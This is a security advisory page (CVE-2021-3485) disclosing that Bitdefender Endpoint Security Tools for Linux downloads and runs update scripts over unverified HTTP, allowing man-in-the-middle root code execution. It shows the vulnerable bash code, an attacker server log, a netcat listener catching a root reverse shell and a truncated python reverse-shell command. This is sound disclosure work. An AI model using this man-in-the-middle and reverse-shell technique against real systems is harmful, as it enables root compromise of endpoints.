{"id":16721,"date":"2021-07-07T12:07:13","date_gmt":"2021-07-07T10:07:13","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2021-0014\/"},"modified":"2021-07-19T14:18:03","modified_gmt":"2021-07-19T12:18:03","slug":"usd-2021-0014","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2021-0014\/","title":{"rendered":"usd-2021-0014"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n

usd-2021-0014 | BitDefender Endpoint Security Tools for Linux<\/h1>\n

<\/span>
Advisory ID<\/strong>: usd-2021-0014<\/span>
CVE Number<\/strong>: <\/span>CVE-2021-3485<\/a>
Affected Product<\/strong>: Bitdefender Endpoint Security Tools for Linux<\/span>
Affected Version<\/strong>: < 6.2.21.155<\/span>
Vulnerability Type<\/strong>: Improper Input Validation (CWE-20)<\/span>
Security Risk<\/strong>: Medium<\/span>
Vendor URL<\/strong>: <\/span>https:\/\/www.bitdefender.com\/<\/a>
Vendor Status<\/strong>: Fixed<\/span><\/p>\n

<\/h3>\n

Description<\/h3>\n

The BitDefender Endpoint Security Tools Product Update uses an insecure way of performing product updates. An Attacker in a man-in-the-middle position can exploit this and gain remote code execution as root.<\/p>\n

The vulnerable part of the application is the update mechanism called \u201eproduct-update\u201c. It uses an insecure channel to receive the content of the update.<\/p>\n

<\/span><\/p>\n

Proof of Concept (PoC)<\/h3>\n

The vulnerable Code is inside the <\/span>DownloadFile<\/em> function of the product-update bash script. In the following, one can see a code snippet from the file. The <\/span>RunCommand<\/em> function is a wrapper for eval assuring that the command is run as root.<\/span><\/p>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]DownloadFile ()
\n{
\n#proxy download
\neval RunCommand 'ftp_proxy=\"http:\/\/$proxyHost\" \\
\nhttp_proxy=\"http:\/\/$proxyHost\" \\
\nhttps_proxy=\"https:\/\/$proxyHost\" \\
\nwget --no-check-certificate ${opts} -q -T 60 --tries=2 -O \\\"${to}\\\" \\\"${from}\\\" \\
\n\uff06\uff06 Log append \"Done.\" \uff06\uff06 DWL_METHOD=\"wget_proxy\" \uff06\uff06 return 0'
\n[...]
\n#direct download
\neval RunCommand 'wget --no-check-certificate ${opts} -q -T 60 --tries=2 -O \"\\\"${to}\\\"\" ${from}' \\
\n\uff06\uff06 USE_PROXY=\"N\" \uff06\uff06 DWL_METHOD=\"wget_direct\" \uff06\uff06 Log append \"Done.\" \uff06\uff06 return 0
\n[...]
\n}<\/code><\/pre>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n

As one can see, the file download is done using wget<\/em> with the \u2013no-check-certificate<\/em> flag. In our examined test setup BitDefender used HTTP instead of HTTPS anyway.<\/p>\n

The path to gain remote code execution is as follows:<\/p>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"][...]
\nDownloadFile \"${setupdir}\/${verfile}\" \"${URL}\/${verfile}\" || RET=1
\n[...]
\n#download new script and run it with same params
\nNEW_SCRIPT_URL+=\"\/${newscript}\"<\/p>\n

DownloadFile \"${SCRIPTDIR}\/${newscript}\" \"${NEW_SCRIPT_URL}\"
\nRunCommand \"chmod +x \\\"${SCRIPTDIR}\/${newscript}\\\"\"
\n[...]
\nRunCommand \"\\\"${SCRIPTDIR}\/${newscript}\\\" $*\"
\n[...]
\n<\/code><\/pre>\n

<\/div>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n

\n

On the attacker Webserver this can be observed as:<\/p>\n<\/div>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]\"GET http:\/\/192.168.1.144:7074\/\/bst_nix\/latest_rings.dat HTTP\/1.1\" 200 -
\n\"GET http:\/\/192.168.1.144:7074\/\/bst_nix\/0.0.0.0\/linux-amd64\/\/version.txt HTTP\/1.1\" 200 -
\n\"GET http:\/\/192.168.1.144:7074\/\/bst_nix\/0.0.0.0\/downloader.sh HTTP\/1.1\" 200 -<\/code><\/pre>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n

\n
\n

When a python reverse shell is used the product-update script will connect back:<\/p>\n<\/div>\n<\/div>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]# nc -l -p 4242 -v
\nListening on [0.0.0.0] (family 2, port 4242)
\nConnection from cq-1120 33730 received!<\/p>\n

root@cq-1120:\/opt\/BitDefender\/bin# id
\nuid=0(root) gid=0(root) groups=0(root)<\/code><\/pre>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n

In the following process list output can be observed, that the python script is a child of the product update:<\/p>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"] root 3237 0.0 0.0 24856 3884 tty1 S+ 02:18 0:00 \\_ \/bin\/bash .\/product-update
\nroot 3238 0.0 0.1 44552 10464 tty1 S+ 02:18 0:00 \\_ python -c import socket,subprocess[...]
\nroot 3239 0.0 0.0 22488 3452 pts\/0 Ss+ 02:18 0:00 \\_ \/bin\/bash<\/code><\/pre>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n

\n
\n

Fix<\/h3>\n

It is recommended to use industry proven schemes to implement a software update. This is relying on a secure channel for communication and signing update binaries with a manufacturer private key.<\/span><\/p>\n

<\/h3>\n

Timeline<\/h3>\n